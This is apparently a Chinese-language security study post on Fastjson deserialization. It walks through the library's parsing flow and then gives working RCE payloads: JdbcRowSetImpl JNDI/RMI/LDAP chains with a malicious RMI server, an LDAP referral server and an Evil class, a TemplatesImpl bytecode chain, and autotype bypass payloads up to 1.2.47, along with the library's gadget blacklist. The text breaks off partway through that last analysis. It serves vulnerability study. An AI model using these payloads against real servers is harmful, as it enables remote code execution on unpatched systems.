FastJson


Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

FastJson 简单使用

序列化

JSON.toJSONString()序列化对象

package com.yq1ng.demo;

/**
 * UserDao
 *
 * @author yq1ng
 * @date 2021/12/22 21:06
 * @since 1.0.0
 */
public class User {
    private String name;

    public User(){
        System.out.println("init...");
    }

    public String getName() {
        System.out.println("getName...");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName...");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println("toString...");
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}
package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        User user = new User();
        user.setName("yq1ng");
        System.out.println("============================No WriteClassName=============================");
        System.out.println(JSON.toJSONString(user));
        System.out.println("=============================WriteClassName===============================");
        System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName));
    }
}

image.png

反序列化

JSON.parse():反序列化字符串,返回 fastjson.JSONObject
JSON.parseObject():反序列化字符串,返回 Object

package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        String ser = "{\"name\":\"yq1ng\"}";
        DeSer(ser);
        System.out.println("===================================================================================================");
        String ser1 = "{\"@type\":\"com.yq1ng.demo.User\",\"name\":\"yq1ng\"}";
        DeSer(ser1);
    }
    public static void DeSer(String ser){
        System.out.println(JSON.parse(ser).getClass().getName());
        System.out.println("====================================================");
        System.out.println(JSON.parseObject(ser).getClass().getName());
        System.out.println("====================================================");
        System.out.println(JSON.parseObject(ser, User.class).getClass().getName());
    }
}

image.png
可以看到,在不加@type的时候不能正确的反序列化,因为不知道是那个类的,后面JSON.parseObject(ser, User.class)加上类算是正常反序列化了;而加上@type的字符串就算不加User.class也可以正常反序列化。也能看出这里反序列化均调用了 setter,那么在 setter 做点手脚会不会有惊喜?不演示了,肯定可以的

setter 为 private

当设置 User 的 setter 的修饰为 private 的时候(一般不会这么设置,或者说没有 private 属性对应的 setter),就不能正确反序列化了,会访问不到数据

package com.yq1ng.demo;

/**
 * UserDao
 *
 * @author yq1ng
 * @date 2021/12/22 21:06
 * @since 1.0.0
 */
public class User {
    private String name;
    private String age;

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public User(){
        System.out.println("init...");
    }

    public String getName() {
        System.out.println("getName...");
        return name;
    }

    private void setName(String name) {
        System.out.println("setName...");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

image.png
这样的话是不能利用的,但是好在 fastjson1.2.22 版本引入了Feature.SupportNonPublicField,反序列化的时候添加这个属性就可以访问到 private 的方法。猜测是截取原来的字符串赋值的
image.png

反序列化流程

package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.yq1ng.demo.User\",\"age\":\"18\",\"name\":\"yq1ng\"}";
//        User user = JSON.parseObject(ser, User.class, Feature.SupportNonPublicField);
        User user = JSON.parseObject(ser, User.class);
        System.out.println(user.getName()+"..."+user.getAge());
    }
}

JSON.parseObject()打断
image.png
跟进parse()
image.png
不用管那个 989 的值,没有设置Feature.SupportNonPublicField的话默认就为这个。继续跟,看看怎么解析
image.png
DefaultJSONParser()
image.png
先跟进com/alibaba/fastjson/parser/JSONScanner.java#JSONScanner()看看
image.png
注意构造函数这里 text记录了反序列化的字符串,后面有用,然后进行重载DefaultJSONParser()
image.png
这里判断解析的是{还是[,然后为 Token 赋值,接着往下来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
image.png
由于上面的赋值,会来到LBRACE分支,解析 object。可以看到如果是LBRACKET的话会解析为数组。这里先创建一个空的JSONObject,然后解析,跟进
image.png
这里会通过 scanSymbol 获取到@type指定的类
com/alibaba/fastjson/parser/JSONLexerBase.java#scanSymbol()
image.png
com/alibaba/fastjson/parser/JSONScanner.java#next()
image.png
通过读取上面存储的反序列化字符串获取需要加载的类的全限定名,接着进行loadClass()
com/alibaba/fastjson/util/TypeUtils.java#loadClass()
image.png
首先从mappings中寻找反序列化的类,看一下mappings是什么
image.png
应该是 Java 基础数据类型类,不满足条件会在下面加载所需类
image.png
加载后进行反序列化
com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进
image.png
这里重载了getDeserializer()
image.png
跟进createJavaBeanDeserializer(),这里 clazz == type == @type 的类,createJavaBeanDeserializer()就是创建一个反序列化器
image.png
跟进JavaBeanInfo.java#build(),这里解释了为什么可以自动调用 setter 和 getter
image.png
首先反射获取了 type 指定类的一些基本信息:构造函数、字段、方法。接着往下
image.png
首先是一个大判断,如果构造函数为空、类不为接口或方法不为抽象方法那就会进入 if,这里显然不满足,跳过一段,来到这里
image.png
第四个是参数个数,继续往下
image.png
这里根据 c3 的不同情况进行截断,只要 setter 后半部分,比如这里就是setName截取就是name。接着往下
image.png
这里去获取该属性,如果没获取到,那就在属性前加上is,例如name获取失败就会变成isName。然后将这些信息添加到fieldList
image.png
添加完 setter 后改 getter 了
image.png
和 setter 类似吧
image.png
然后也是添加到fieldList里面,最后返回JavaBeanInfo
image.png
这里记录了属性的 setter 是 public 的信息,例如上图只存储了age而 name 却没有
接着返回到com/alibaba/fastjson/parser/ParserConfig.java#createJavaBeanDeserializer()
image.png
跟进之前先在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#JavaBeanDeserializer()
接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject(ParserConfig config, JavaBeanInfo beanInfo)这里打上断点,期间有很多不需要看的
image.png
image.png
beanInfo中关于属性的信息存起来,后面会使用,接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进后是使用 asm 技术调用指定类了,首先进行初始化类

asm 就是 javassti 的“底层版”,性能更好,但是没有 javassti 容易使用。《Java Javassist/ASM 框架比较》

image.png
image.png
这里 idea 并不能跟进,中间会对 public 的 setter 进行调用,设置值(忘了截图)然后一直往下
image.png
这里会对 private 的属性进行解析,这里是 name,跟进
image.png
这里会对 key 进行一次智能匹配(模糊匹配),跟进
image.png
这里会对下划线和短横线进行删除,例如:stu_name --> stuname。然后返回,注意我们这次 debug 是没开启SupportNonPublicField
image.png
跟进parser.lexer.isEnabled(mask)
image.png
与运算看是否为 0,而传入的feature=131072很有意思,这个是没开启SupportNonPublicField的默认值,其二进制是100000000000000000
image.png
那么显然返回值是 false 了,所以我们加上SupportNonPublicField继续 debug
进入 if
image.png
这里创建了一个支持并发的 hashmap,然后获取@type的所有属性存到fields里面,fields里面存了其对象、type 等等(反射基础知识
image.png
接着将属性修饰中不带finalstatic的存起来,最后赋值给extraFieldDeserializers,这里getFieldDeserializer()的作用就是除去已经 set 的属性(上面初始化JavaBeanDeserializer(反序列化器)的时候提到了存储存在 public setter 的属性
image.png
image.png
接着将属性与其对应的 fieldInfo 变为键值对存进extraFieldDeserializers,继续往下
image.png
跟进parseField()
image.png
跟进getFieldValueDeserilizer()
image.png
这里 field 没有注解,所以进入 else
image.png
这次是返回了一个StringCodec。而fieldValueDeserilizer可以理解为反序列化的一种方式,StringCodec就是纯字符编码。接着看com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
判断 field 类型是否为泛型,这里不满足,继续

关于 Type 的泛型可以看:https://www.cnblogs.com/baiqiantao/p/7460580.html#parameterizedtype-%E5%8F%82%E6%95%B0%E5%8C%96%E7%B1%BB%E5%9E%8B

image.png
这里先判断fieldValueDeserilizer是否为反序列化器,不满足则判断是否存在注解,也不满足,所以会到最后一个 else 分支,跟进fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name)。这里去截取,位置在com/alibaba/fastjson/serializer/StringCodec.java#deserialze()
image.png
跟进lexer.stringVal()
image.png
然后返回到com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
这里赋值,跟进
image.png
com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue()反射赋值。解析结束

FastJson 漏洞

从上面可以知道反序列化会自动调用 setter 和 getter,如果这两个方法里面存在恶意的代码那么也会被执行,这里先不进行介绍的,先来看 JdbcRowSetImpl 利用链

JdbcRowSetImpl 利用链

jdk 版本:≤ 6u141、7u131、8u121
使用高版本需加入 jvm 参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true,因为 8u121 版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase

漏洞利用(JNDI)

poc:String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";

首先创建客户端

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
        JSON.parse(ser);
    }
}

然后是 jndi 服务端

package com.yq1ng.vul;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * RMIServer
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Evil", referenceWrapper);
        System.out.println("Server is running...");
    }
}

接着是恶意类,注意这个恶意类不能带有包名,也就是package

import java.io.IOException;

/**
 * Evil
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class Evil {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

然后编译恶意类,并起一个 python 简单服务,注意 python3 的启动方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080
image.png
然后启动 jndi 服务,启动客户端即可
image.png

漏洞分析

poc 是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,从上面的反序列化流程可以知道会去调用指定类,然后调用 setter,这里会调用setDataSourceName()setAutoCommit()
deserialze后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
image.png
image.png
这里默认的dataSource是空的,所以会设置为我们传入的恶意 rmi。接着来到setAutoCommit()
image.png
这里conn为空,所以进行获取,这里形参也解释了为什么 payload 的autoCommittrue。跟进this.connect()
image.png
首先初始化上下文,然后开始找传入的 rmi 类
image.png
继续跟
image.png
首先看getRootURLContext(),全局查找的话会有四个类去调用
image.png
这里会根据不同协议去调用不同的getRootURLContext(),这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
image.png
这里对传入的 rmi 格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回
image.png
继续跟
image.png
首先是一个判空,然后去注册中心找 Evil,接着在 return 跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
image.png
这里将构造的Reference赋值给var3,然后跟进NamingManager.java#getObjectInstance()
image.png
到这里跟进getObjectFactoryFromReference()
image.png
先从本地尝试加载 Evil,如果不存在继续往下看
image.png
本地不存在的话就会尝试从 codebase 中加载 class

什么是 codebase?以下内容摘自:Java-RMI
codebase 就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上 codebase 的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置 codebase,而哪个使用 codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置 codebase(例如 jdk 的类对象,就不用设置 codebase)。
codebase 实际上是一个 url 表,在该 url 下有接受方需要下载的类文件。假如你不设置 codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

跟进helper.loadClass()
image.png
这里通过URLClassLoader进行加载类。最后进行实例化,导致 rce
image.png

漏洞利用(LDAP)

poc:String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";

<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>5.1.4</version>
    <scope>test</scope>
</dependency>

恶意类不变,也是开启一个 http
image.png
客户端改改 poc 就行

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.yq1ng.demo.User;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
        JSON.parse(ser, Feature.SupportNonPublicField);
    }
}

server 如下

package com.yq1ng.vul;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

/**
 * LdapServer
 *
 * @author yq1ng
 * @date 2022/1/4 21:29
 * @since 1.0.0
 */
public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#Evil";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

image.png

TemplatesImpl 利用链

漏洞利用

客户端反序列化需要带上Feature.SupportNonPublicField,这也就导致这个链子比较鸡肋
poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + badByteCodes + "\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
最简 poc:`String ser = “{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",” +

    "\"_bytecodes\":[\"" + badByteCodes + "\"]," +
    "\"_name\":\"a.b\",\"_outputProperties\":{ }}";`

先创建一个恶意类,然后编译为 class 待用

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/**
 * TLI
 *
 * @author yq1ng
 * @date 2021/12/30 22:39
 * @since 1.0.0
 */
public class TLI extends AbstractTranslet {

    public TLI(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

写一个客户端

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String badByteCodes = encryptToBase64("D:\\Software\\IntelliJ IDEA 2021.2.2\\workpath\\fastjson\\src\\test\\java\\TLI.class");
        String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"" + badByteCodes + "\"]," +
                "\"_name\":\"a.b\",\"_outputProperties\":{ }}";
        JSON.parse(ser, Feature.SupportNonPublicField);
    }

    public static String encryptToBase64(String filePath){
        if (filePath == null){
            return null;
        }
        try {
            byte[] bytes = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(bytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
}

因为 TemplatesImpl 中的属性为private所以需要加上Feature.SupportNonPublicField
image.png

漏洞分析

先看懂 cc2 会来得更快。这个加载就不多说 了,主要是 poc 的几个疑点

为什么需要加上_outputProperties

pco 中有_outputProperties,那么反序列化就会调用其 getter 和 setter,从上面的流程也可以知道在解析属性的时候会删除下划线,所以这里就会调用getOutputProperties()而在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#getOutputProperties()中调用了newTransformer()后面就可以加载字节码了
image.png

为什么_bytecodes需要 base64

在 cc2 中可以知道_bytecodes直接是字节码,不需要 base64,而这里却必须 base64 编码才行。这是因为 fastjson 内部的一个“约定”,序列化byte[]会 base64 编码,反序列化String->byte[]会 base64 解码,具体代码在com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
直接看下面这个
image.png
跟进去
image.png
image.png
image.png
image.png

为什么不需要_tfactory

cc2 中可以知道_tfactory是不能为空的,而这里 poc 甚至不需要加上_tfactory也可以成功 rce。流程里面提到会解析所有没去调用 setter 的属性
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze()
image.png
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#parseField()
image.png
跟进
image.png
这个fieldValueDeserilizer符合反序列化器(JavaBeanDeserializer),所以进入第一个 if
image.png
这里会用 asm 去获取一个class com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl对象,所以 poc 中不需要增加_tfactory字段也可以

各种 Bypass

1.2.25-1.2.41

类名前加上L,类名后加上;即可绕过,前提是服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
poc:String ser = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";其余类似

先看一个 wiki:https://github.com/alibaba/fastjson/wiki/enable_autotype,在 1.2.25 之后的版本,以及所有的.sec01 后缀版本中,autotype 功能是受限的,也就是不能随意加载类了,除非服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 或以其他方式开启 autotype。
maven 直接拉取 1.2.25 版本的,然后使用 idea 对比两个 jar 包(先在 idea 选中一个 jar 包,然后按 ctrl+d 选取另外一个 jar 即可)
image.png
可以看到以前直接加载类的变成先 checkAtuo 了,这个方法分两种情况,一个是没开启 autotype,一个是开启了 autotype。代码控制是boolean autoTypeSupport

未开启 autotype

image.png
直接看这段代码,先判断是否存在黑名单内,存在则抛异常;然后判断是否在白名单,存在则加载此类,然后 return。
如果不在白名单的话接着往下走
image.png
直接抛异常。
所以总结一下就是未开启 autotype 的话传入的类需要不在黑名单而又在白名单内

开启 autotype

开启的话过滤代码是先判是否在白名单然后判是否在黑名单
image.png
白名单默认为空,黑名单如下

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

看似过滤很多,但是checkAutoType()最后加载类有猫腻
image.png
跟进
image.png
那么只需要在类前加上L类后加上;即可绕过所有黑名单
image.png
其他类似,不再展示。

1.2.42

删除了开头的L和结尾的;,bypass 双写就可
poc:String ser = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";

41 的修复在这:https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
可以看到对明文黑名单进行了 hash,这样我们就不知道过滤了什么类,好在前辈们已经铺好了路:https://github.com/LeadroyaL/fastjson-blacklist
image.png
其加密方式在src/main/java/com/alibaba/fastjson/util/TypeUtils.java#fnv1a_64()
image.png
除了黑名单的改动还有就是checkAutoType()哪里
image.png
如果类开头为L结尾为;则将其截去,这很好的修复了 41 的绕过。那么 42 的 bypass 也很明显了,直接双写即可,即LL;;。修复方法属实可爱

1.2.43 修复

import com.alibaba.fastjson.JSONException;

/**
 * test
 *
 * @author yq1ng
 * @date 2022/1/6 16:29
 * @since 1.0.0
 */
public class test {
    public static void main(String[] args) {
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        String className = "LLtest;";
        //  L开头,;结尾
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L) {
            //  LL开头直接抛异常
            if ((((BASIC
                    ^ className.charAt(0))
                    * PRIME)
                    ^ className.charAt(1))
                    * PRIME == 0x9195c07b5af5345L) {
                throw new JSONException("autoType is not support. ");
            }
            // 9195c07b5af5345
            System.out.println(className.substring(1, className.length() - 1));
        }
    }
}

修复也很直接,遇到 LL 直接抛异常。再往后的绕过就需要其他 jar 包的支持了

1.2.45

前提条件:需要有第三方组件 ibatis-core 3:0
poc:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}

1.2.47 通杀 CheckAutoType 和黑名单

漏洞原理:通过 java.lang.Class,将 JdbcRowSetImpl 类加载到 Map 中缓存,从而绕过 AutoType 的检测

  • 1.2.25-1.2.32 版本:未开启 AutoTypeSupport 时能成功利用,开启 AutoTypeSupport 不能利用
  • 1.2.33-1.2.47 版本:无论是否开启 AutoTypeSupport,都能成功利用
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Exploit",
        "autoCommit": true
    }
}

上面几个版本流程差不多,这里是以 1.2.47 版本,未开启 AutoTypeSupport 为例
com/alibaba/fastjson/parser/ParserConfig.java#checkAutoType()打上断
image.png
这里由于没开启AutoTypeSupport所以不会判断白黑名单,继续往下
image.png
跟进
image.png
从 mappings 里面找的,看一下他是怎么被初始化的
image.png
跟进静态方法中的addBaseClassMappings()

private static void addBaseClassMappings(){
        mappings.put("byte", byte.class);
        mappings.put("short", short.class);
        mappings.put("int", int.class);
        mappings.put("long", long.class);
        mappings.put("float", float.class);
        mappings.put("double", double.class);
        mappings.put("boolean", boolean.class);
        mappings.put("char", char.class);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{
                Object.class,
                java.lang.Cloneable.class,
                loadClass("java.lang.AutoCloseable"),
                java.lang.Exception.class,
                java.lang.RuntimeException.class,
                java.lang.IllegalAccessError.class,
                java.lang.IllegalAccessException.class,
                java.lang.IllegalArgumentException.class,
                java.lang.IllegalMonitorStateException.class,
                java.lang.IllegalStateException.class,
                java.lang.IllegalThreadStateException.class,
                java.lang.IndexOutOfBoundsException.class,
                java.lang.InstantiationError.class,
                java.lang.InstantiationException.class,
                java.lang.InternalError.class,
                java.lang.InterruptedException.class,
                java.lang.LinkageError.class,
                java.lang.NegativeArraySizeException.class,
                java.lang.NoClassDefFoundError.class,
                java.lang.NoSuchFieldError.class,
                java.lang.NoSuchFieldException.class,
                java.lang.NoSuchMethodError.class,
                java.lang.NoSuchMethodException.class,
                java.lang.NullPointerException.class,
                java.lang.NumberFormatException.class,
                java.lang.OutOfMemoryError.class,
                java.lang.SecurityException.class,
                java.lang.StackOverflowError.class,
                java.lang.StringIndexOutOfBoundsException.class,
                java.lang.TypeNotPresentException.class,
                java.lang.VerifyError.class,
                java.lang.StackTraceElement.class,
                java.util.HashMap.class,
                java.util.Hashtable.class,
                java.util.TreeMap.class,
                java.util.IdentityHashMap.class,
                java.util.WeakHashMap.class,
                java.util.LinkedHashMap.class,
                java.util.HashSet.class,
                java.util.LinkedHashSet.class,
                java.util.TreeSet.class,
                java.util.concurrent.TimeUnit.class,
                java.util.concurrent.ConcurrentHashMap.class,
                loadClass("java.util.concurrent.ConcurrentSkipListMap"),
                loadClass("java.util.concurrent.ConcurrentSkipListSet"),
                java.util.concurrent.atomic.AtomicInteger.class,
                java.util.concurrent.atomic.AtomicLong.class,
                java.util.Collections.EMPTY_MAP.getClass(),
                java.util.BitSet.class,
                java.util.Calendar.class,
                java.util.Date.class,
                java.util.Locale.class,
                java.util.UUID.class,
                java.sql.Time.class,
                java.sql.Date.class,
                java.sql.Timestamp.class,
                java.text.SimpleDateFormat.class,
                com.alibaba.fastjson.JSONObject.class,
        };
        for(Class clazz : classes){
            if(clazz == null){
                continue;
            }
            mappings.put(clazz.getName(), clazz);
        }
        String[] awt = new String[]{
                "java.awt.Rectangle",
                "java.awt.Point",
                "java.awt.Font",
                "java.awt.Color"};
        for(String className : awt){
            Class<?> clazz = loadClass(className);
            if(clazz == null){
                break;
            }
            mappings.put(clazz.getName(), clazz);
        }
        String[] spring = new String[]{
                "org.springframework.util.LinkedMultiValueMap",
                "org.springframework.util.LinkedCaseInsensitiveMap",
                "org.springframework.remoting.support.RemoteInvocation",
                "org.springframework.remoting.support.RemoteInvocationResult",
                "org.springframework.security.web.savedrequest.DefaultSavedRequest",
                "org.springframework.security.web.savedrequest.SavedCookie",
                "org.springframework.security.web.csrf.DefaultCsrfToken",
                "org.springframework.security.web.authentication.WebAuthenticationDetails",
                "org.springframework.security.core.context.SecurityContextImpl",
                "org.springframework.security.authentication.UsernamePasswordAuthenticationToken",
                "org.springframework.security.core.authority.SimpleGrantedAuthority",
                "org.springframework.security.core.userdetails.User"
        };
        for(String className : spring){
            Class<?> clazz = loadClass(className);
            if(clazz == null){
                break;
            }
            mappings.put(clazz.getName(), clazz);
        }
    }

将常用类放入 mappings,我们传入的java.lang.Class不在这里,所以返回为空,往下findClass()是可以找到的,所以返回
image.png
